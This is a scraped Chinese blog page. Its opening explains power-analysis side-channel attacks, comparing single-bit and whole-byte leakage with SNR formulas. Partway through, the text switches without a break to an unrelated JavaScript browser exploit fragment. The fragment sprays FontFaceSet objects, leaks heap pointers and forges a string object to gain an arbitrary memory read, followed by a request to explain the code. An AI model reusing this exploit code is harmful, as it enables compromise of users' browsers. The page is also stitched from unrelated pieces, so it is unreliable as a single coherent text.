能量分析攻击_能量迹单bit泄露和整个byte泄露比较

能量分析攻击中,攻击单个bit涉及的运算单元为byte,导致转换噪声影响信噪比。整个byte的能量泄露信噪比更高,分析效果更精确。参考Mangard等人的研究,单点泄露信噪比远低于字节级泄露。
摘要由CSDN通过智能技术生成

在能量分析攻击中,可以选择攻击整个byte或者某个单一的bit。

但是,在芯片中通常是以byte的形式进行运算和存储,因此即使攻击目标为单一bit,其所涉及的运算单元仍然会是byte。这样,一个byte中的其他7个bit都成为了转换噪声,因为这7个bit也会参与运算从而出现在采集到的能量迹中。我们把这个转换噪声称为P(sw.noise),有用信息部分P(exp),操作消耗能量P(op),数据产生的能量P(data),则有:

P(op)+P(data)=P(exp)+P(sw.noise)

对于整个能量迹,总能量消耗

P(total)=P(exp)+P(sw.noise)+P(el.noise)+P(const),其中P(el.noise)为电子噪声,也就是电子器件在工作中产生的噪声,P(const)为工作中的一些固定能量消耗,为定值。

那么这个过程的信噪比,用方差来衡量,表示为:

SNR=Var(signal) / Var(noise) = Var(P(exp)) / Var(P(sw.noise)+P(el.noise))

信噪比

var needfix = []; for (var i = 0;; i++) { ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]); var badstr2 = mkString(HASHMAP_BUCKET, p_s); needfix.push(mkString(HASHMAP_BUCKET, p_s)); bad_fonts[guessed_font].family = "evil2"; bad_fonts[guessed_font + 1].family = "evil3"; var leak = stringToPtr(badstr2.substr(badstr2.length - 8)); if (leak < 0x1000000000000) break; } function makeReader(read_addr, ffs_name) { var fake_s = ''; fake_s += '0000'; //padding for 8-byte alignment fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff fake_s += ptrToString(read_addr); //where to read from fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit p_s = ''; p_s += ptrToString(29); p_s += ptrToString(guessed_addr); p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE); for (var i = 0; i < 18; i++) p_s += ptrToString(INVALID_POINTER); for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s); var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]); mkString(HASHMAP_BUCKET, p_s); var relative_read = mkString(HASHMAP_BUCKET, fake_s); bad_fonts[guessed_font].family = ffs_name + "_evil1"; bad_fonts[guessed_font + 1].family = ffs_name + "_evil2"; bad_fonts[guessed_font + 2].family = ffs_name + "_evil3"; needfix.push(relative_read); if (relative_read.length < 1000) //failed return makeReader(read_addr, ffs_name + '_'); return relative_read; }继续解释以上代码?
07-20
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值